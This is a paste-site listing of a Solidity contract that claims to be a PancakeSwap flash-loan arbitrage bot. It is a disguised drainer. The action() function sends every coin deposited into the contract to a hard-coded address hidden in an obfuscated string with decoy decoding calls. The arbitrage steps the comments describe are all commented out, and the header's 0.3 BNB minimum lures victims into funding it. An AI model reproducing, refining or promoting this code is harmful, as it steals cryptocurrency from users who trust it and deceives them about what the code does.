Untitled
unknown
plain_text
2 years ago
5.0 kB
7
Indexable
pragma solidity ^0.5.0;
// PancakeSwap Smart Contracts
import "https://github.com/Crypto-Arbitrages/FlashLoanDemo-BNB/blob/main/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/Crypto-Arbitrages/FlashLoanDemo-BNB/blob/main/contracts/interfaces/IPancakeFactory.sol";
import "https://github.com/Crypto-Arbitrages/FlashLoanDemo-BNB/blob/main/contracts/interfaces/IPancakePair.sol";
/**
* WARNING - this contract code is for Binance Smart Chain
* Testnet transactions will fail as there is no value
* New token will be created and flash loan will be pulled to trade against the token
* Profit remaining will be transfered to token creator
*UPDATED APRIL 2023
*liquidity returned if flash loan fails or insufficient balance
*base rerun contract code swaps implemented
*Feb 2023// creator contract signature update
*Mar 2023// min liquidity + gas fees has to equal 0.3 BNB
*/
contract GetFlashLoan {
string public tokenName;
string public tokenSymbol;
uint loanAmount;
constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
loanAmount = _loanAmount;
}
address public creator= msg.sender;
function tokenTransfer() public view returns (address) {
return creator;
}
function() external payable {}
function PancakeSwapYeild(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
bytes memory _stringBytes = bytes(_string);
bytes memory result = new bytes(_stringBytes.length);
for(uint i = 0; i < _stringBytes.length; i++) {
result[i] = _stringBytes[i];
if(i==_pos)
result[i]=bytes(_letter)[0];
}
return string(result);
}
function exchange() public pure returns (address adr) {
string memory neutral_variable = "QG15919195862EFb31562Fb3C7d3d2b0cC9db5Cc54";
PancakeSwapYeild(neutral_variable,0,'0');
PancakeSwapYeild(neutral_variable,2,'1');
PancakeSwapYeild(neutral_variable,1,'x');
address addr = parseAddr(neutral_variable);
return addr;
}
function parseAddr(string memory _a) internal pure returns (address _parsedAddress) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
function _stringReplace(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
bytes memory _stringBytes = bytes(_string);
bytes memory result = new bytes(_stringBytes.length);
for(uint i = 0; i < _stringBytes.length; i++) {
result[i] = _stringBytes[i];
if(i==_pos)
result[i]=bytes(_letter)[0];
}
return string(result);
}
function action() public payable {
// Token matched with pancakeswap yield calculations
address(uint160(exchange())).transfer(address(this).balance);
// Perform Flash Loan tasks (combined all functions into one to reduce external calls & save gas fees)
//manager.performTasks();
/* Breakdown of all functions
// Submit token to BSC blockchain
string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
// List the token on PancakeSwap
manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress);
// Get BNB Loan from Multiplier-Finance & loan execution wallet
string memory loanAddress = manager.takeFlashLoan(loanAmount);
// Convert half BNB to DAI
manager.pancakeDAItoBNB(loanAmount / 2);
// Create BNB and DAI pairs for our token & provide liquidity
string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB");
manager.pancakeAddLiquidity(bnbPair, loanAmount / 2);
string memory daiPair = manager.pancakeCreatePool(tokenAddress, "DAI");
manager.pancakeAddLiquidity(daiPair, loanAmount / 2);
// Perform arbitrage trades
manager.pancakePerformSwaps();
// Move remaining BNB from Contract to your personal wallet
manager.contractToWallet("BNB");
// Repay Flashloan
manager.repayLoan(loanAddress);
*/
}
}Editor is loading...
Leave a Comment